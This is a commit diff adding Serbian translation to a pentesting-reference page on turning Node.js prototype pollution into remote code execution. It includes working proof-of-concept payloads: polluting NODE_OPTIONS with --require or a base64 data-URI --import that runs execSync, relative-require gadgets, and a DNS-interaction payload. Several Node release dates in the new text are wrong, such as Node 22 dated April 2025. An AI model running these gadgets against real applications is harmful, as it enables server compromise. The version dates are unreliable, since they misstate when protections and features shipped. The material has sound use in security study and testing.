Translated ['src/pentesting-web/deserialization/nodejs-proto-prototype-p

This commit is contained in:
Translator 2025-08-04 14:17:46 +00:00
parent c8548e98a3
commit 1dd004ff6b

View File

@ -1,8 +1,8 @@
# Zagađenje prototipa do RCE
# Prototype Pollution to RCE
{{#include ../../../banners/hacktricks-training.md}}
## Ranjivi kod
## Vulnerable Code
Zamislite pravi JS koji koristi neki kod poput sledećeg:
```javascript
@ -37,11 +37,11 @@ clone(USERINPUT)
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork("a_file.js")
```
## PP2RCE putem env var
## PP2RCE putem env varijabli
**PP2RCE** znači **Zagađenje prototipa do RCE** (Daljinsko izvršavanje koda).
Prema ovom [**izveštaju**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), kada se **proces pokrene** nekom metodom iz **`child_process`** (kao što su `fork` ili `spawn` ili drugi), poziva se metoda `normalizeSpawnArguments` koja je **alat za zagađenje prototipa za kreiranje novih env var**:
Prema ovom [**izveštaju**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), kada se **proces pokrene** nekom metodom iz **`child_process`** (kao što su `fork` ili `spawn` ili drugi), poziva metodu `normalizeSpawnArguments` koja je **alat za zagađenje prototipa za kreiranje novih env varijabli**:
```javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
@ -61,15 +61,15 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
```
Proverite taj kod, možete videti da je moguće **poison `envPairs`** samo zagađivanjem **atributa `.env`.**
Proverite taj kod, možete videti da je moguće **otrovati `envPairs`** samo **zagađujući** **atribut `.env`.**
### **Zagađivanje `__proto__`**
> [!WARNING]
> Imajte na umu da zbog načina na koji funkcija **`normalizeSpawnArguments`** iz biblioteke **`child_process`** u node-u funkcioniše, kada se nešto pozove kako bi se **postavila nova env varijabla** za proces, potrebno je samo **zagađivanje bilo čega**.\
> Imajte na umu da zbog načina na koji funkcija **`normalizeSpawnArguments`** iz biblioteke **`child_process`** u nodu funkcioniše, kada se nešto pozove kako bi se **postavila nova env varijabla** za proces, samo treba da **zagađujete bilo šta**.\
> Na primer, ako uradite `__proto__.avar="valuevar"` proces će biti pokrenut sa varijablom pod imenom `avar` sa vrednošću `valuevar`.
>
> Međutim, da bi **env varijabla bila prva**, potrebno je **zagađivanje** **atributa `.env`** i (samo u nekim metodama) ta varijabla će biti **prva** (omogućavajući napad).
> Međutim, da bi **env varijabla bila prva**, morate da **zagađujete** **atribut `.env`** i (samo u nekim metodama) ta varijabla će biti **prva** (omogućavajući napad).
>
> Zato **`NODE_OPTIONS`** **nije unutar `.env`** u sledećem napadu.
```javascript
@ -149,9 +149,50 @@ clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
```
## Filesystem-less PP2RCE via `--import` (Node ≥ 19)
> [!NOTE]
> Pošto **Node.js 19** CLI zastavica `--import` može biti prosleđena kroz `NODE_OPTIONS` na isti način kao `--require`. Za razliku od `--require`, `--import` razume **data-URI** tako da napadač uopšte **ne treba pristup za pisanje u fajl sistem**. Ovo čini uređaj mnogo pouzdanijim u zaključanim ili samo za čitanje okruženjima.
>
> Ova tehnika je prvi put javno dokumentovana od strane PortSwigger istraživanja u maju 2023. i od tada je reprodukovana u nekoliko CTF izazova.
Napad je konceptualno identičan trikovima `--require /proc/self/*` prikazanim iznad, ali umesto da upućujemo na fajl, direktno ugrađujemo payload u base64-encoded `data:` URL:
```javascript
const { fork } = require("child_process")
// Manual pollution
b = {}
// Javascript that is executed once Node parses the import URL
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;
b.__proto__.NODE_OPTIONS = `--import ${payload}`;
// any key that will force spawn (fork) same as earlier examples
fork("./a_file.js");
```
Zloupotreba ranjivog merge/clone sink-a prikazanog na vrhu stranice:
```javascript
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
clone(USERINPUT);
// Gadget trigger
fork("./a_file.js");
// → creates /tmp/pp2rce_import
```
### Zašto `--import` pomaže
1. **Nema interakcije sa diskom** payload putuje potpuno unutar komandne linije procesa i okruženja.
2. **Radi sa ESM-okruženjima** `--import` je kanonski način za pre-load JavaScript-a u modernim Node verzijama koje podrazumevaju ECMAScript Module.
3. **Obilazi neka `--require` dozvoljena lista** nekoliko biblioteka za učvršćivanje filtrira samo `--require`, ostavljajući `--import` netaknutim.
> [!WARNING]
> Podrška za `--import` u `NODE_OPTIONS` je još uvek prisutna u najnovijem **Node 22.2.0** (jun 2025). Tim za razvoj Node-a raspravlja o ograničavanju data-URI u budućnosti, ali nijedna mitigacija nije dostupna u trenutku pisanja.
---
## DNS Interakcija
Korišćenjem sledećih payload-a moguće je zloupotrebiti NODE_OPTIONS env var koji smo prethodno diskutovali i detektovati da li je to uspelo putem DNS interakcije:
Korišćenjem sledećih payload-a moguće je zloupotrebiti NODE_OPTIONS env var koji smo prethodno diskutovali i detektovati da li je to uspelo uz DNS interakciju:
```json
{
"__proto__": {
@ -227,7 +268,7 @@ var proc = execFile("/usr/bin/node")
// Windows - not working
```
Za **`execFile`** da radi, **MORA** izvršiti node da bi NODE_OPTIONS radili.\
Za **`execFile`** da funkcioniše, **MORA** izvršiti node da bi NODE_OPTIONS radili.\
Ako **ne** izvršava **node**, treba da pronađeš kako možeš **izmeniti izvršenje** onoga što se izvršava **pomoću promenljivih okruženja** i postaviti ih.
**Ostale** tehnike **rade** bez ovog zahteva jer je **moguće modifikovati** **ono što se izvršava** putem zagađenja prototipa. (U ovom slučaju, čak i ako možeš zagađivati `.shell`, nećeš zagađivati ono što se izvršava).
@ -461,18 +502,18 @@ var proc = spawnSync("something")
```
</details>
## Prisiljavanje Spawn
## Prisilno pokretanje
U prethodnim primerima ste videli kako da aktivirate gadget, funkcionalnost koja **poziva `spawn`** mora biti **prisutna** (sve metode **`child_process`** koje se koriste za izvršavanje nečega je pozivaju). U prethodnom primeru to je bila **deo koda**, ali šta ako kod **ne** poziva to.
U prethodnim primerima ste videli kako da aktivirate gadget, funkcionalnost koja **poziva `spawn`** mora biti **prisutna** (sve metode **`child_process`** koje se koriste za izvršavanje nečega je pozivaju). U prethodnom primeru to je bilo **deo koda**, ali šta ako kod **ne poziva** to.
### Kontrolisanje putanje do require fajla
### Kontrola putanje do require datoteke
U ovom [**drugom izveštaju**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) korisnik može kontrolisati putanju fajla gde će biti izvršen **`require`**. U toj situaciji napadaču je potrebno samo da **pronađe `.js` fajl unutar sistema** koji će **izvršiti spawn metodu kada se importuje.**\
Neki primeri uobičajenih fajlova koji pozivaju spawn funkciju kada se importuju su:
U ovom [**drugom izveštaju**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) korisnik može kontrolisati putanju datoteke gde će biti izvršen **`require`**. U tom scenariju napadač samo treba da **pronađe `.js` datoteku unutar sistema** koja će **izvršiti metodu spawn kada se importuje.**\
Neki primeri uobičajenih datoteka koje pozivaju spawn funkciju kada se importuju su:
- /path/to/npm/scripts/changelog.js
- /opt/yarn-v1.22.19/preinstall.js
- Pronađite **više fajlova ispod**
- Pronađite **više datoteka ispod**
Sledeći jednostavan skript će pretraživati **pozive** iz **child_process** **bez ikakvog razmaka** (da bi se izbeglo prikazivanje poziva unutar funkcija):
```bash
@ -507,7 +548,7 @@ Međutim, ako se kod izvršava zahtev nakon zagađenja prototipa, čak i ako **n
Stoga, ako se zahtev izvrši nakon vašeg zagađenja prototipa i nema funkcije spawn, ovo je napad:
- Pronađite **`.js` datoteku unutar sistema** koja kada bude **zahtjevana** će **izvršiti nešto koristeći `child_process`**
- Ako možete da otpremite datoteke na platformu koju napadate, možete otpremiti takvu datoteku
- Ako možete da otpremite datoteke na platformu koju napadate, možete otpremiti datoteku poput te
- Zagađujte putanje da **prisilite učitavanje `.js` datoteke** koja će izvršiti nešto sa child_process
- **Zagađujte environ/cmdline** da izvršite proizvoljan kod kada se pozove funkcija za izvršavanje child_process (vidi inicijalne tehnike)
@ -554,12 +595,12 @@ fork("anything")
{{#endtab}}
{{#endtabs}}
#### Relativno zahtevanje - 1
#### Relativna putanja - 1
Ako se umesto apsolutne putanje učita **relativna putanja**, možete naterati node da **učita drugu putanju**:
Ako se učita **relativna putanja** umesto apsolutne putanje, možete naterati node da **učita drugu putanju**:
{{#tabs}}
{{#tab name="eksploit"}}
{{#tab name="exploit"}}
```javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
@ -636,7 +677,7 @@ fork("/path/to/anything")
{{#endtab}}
{{#endtabs}}
#### Relativno zahtevanje - 3
#### Relative require - 3
Slično prethodnom, ovo je pronađeno u [**ovoj analizi**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
```javascript
@ -665,12 +706,16 @@ Međutim, kao i prethodne **`child_process`** metode, to je **ispravljeno** u na
## Fixes & Unexpected protections
Molimo vas da napomenete da prototipsko zagađenje funkcioniše ako je **atribut** objekta koji se pristupa **neodređen**. Ako je u **kodu** taj **atribut** **postavljen** na **vrednost**, nećete moći da ga **prepišete**.
Molimo vas da napomenete da prototipska zagađenja funkcionišu ako je **atribut** objekta koji se pristupa **neodređen**. Ako je u **kodu** taj **atribut** **postavljen** na **vrednost**, nećete moći da ga **prepišete**.
U junu 2022. iz [**ovog commit-a**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) varijabla `options` umesto `{}` je **`kEmptyObject`**. Što **sprečava prototipsko zagađenje** da utiče na **atribute** **`options`** kako bi se dobio RCE.\
Bar od v18.4.0 ova zaštita je **implementirana**, i stoga `spawn` i `spawnSync` **eksploati** koji utiču na metode **više ne rade** (ako se ne koriste `options`!).
U [**ovom commit-u**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) je **prototipsko zagađenje** **`contextExtensions`** iz vm biblioteke **takođe donekle ispravljeno** postavljanjem opcija na **`kEmptyObject`** umesto **`{}`.**
U [**ovom commit-u**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) **prototipsko zagađenje** **`contextExtensions`** iz vm biblioteke je **takođe donekle ispravljeno** postavljanjem opcija na **`kEmptyObject`** umesto **`{}`.**
> [!INFO]
> **Node 20 (april 2023) & Node 22 (april 2025)** doneli su dodatno učvršćivanje: nekoliko `child_process` pomoćnika sada kopira korisnički obezbeđene `options` sa **`CopyOptions()`** umesto da ih koristi po referenci. Ovo blokira zagađenje ugnježdenih objekata kao što je `stdio`, ali **ne štiti od `NODE_OPTIONS` / `--import` trikova** opisanih iznad ti flagovi se i dalje prihvataju putem promenljivih okruženja.
> Potpuno rešenje bi moralo da ograniči koji CLI flagovi mogu biti propagirani iz roditeljskog procesa, što se prati u Node Issue #50559.
### **Other Gadgets**
@ -682,6 +727,8 @@ U [**ovom commit-u**](https://github.com/nodejs/node/commit/0313102aaabb49f78156
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
- [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
- [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)
- [https://portswigger.net/research/prototype-pollution-node-no-filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem)
- [https://www.nodejs-security.com/blog/2024/prototype-pollution-regression](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression)
- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
{{#include ../../../banners/hacktricks-training.md}}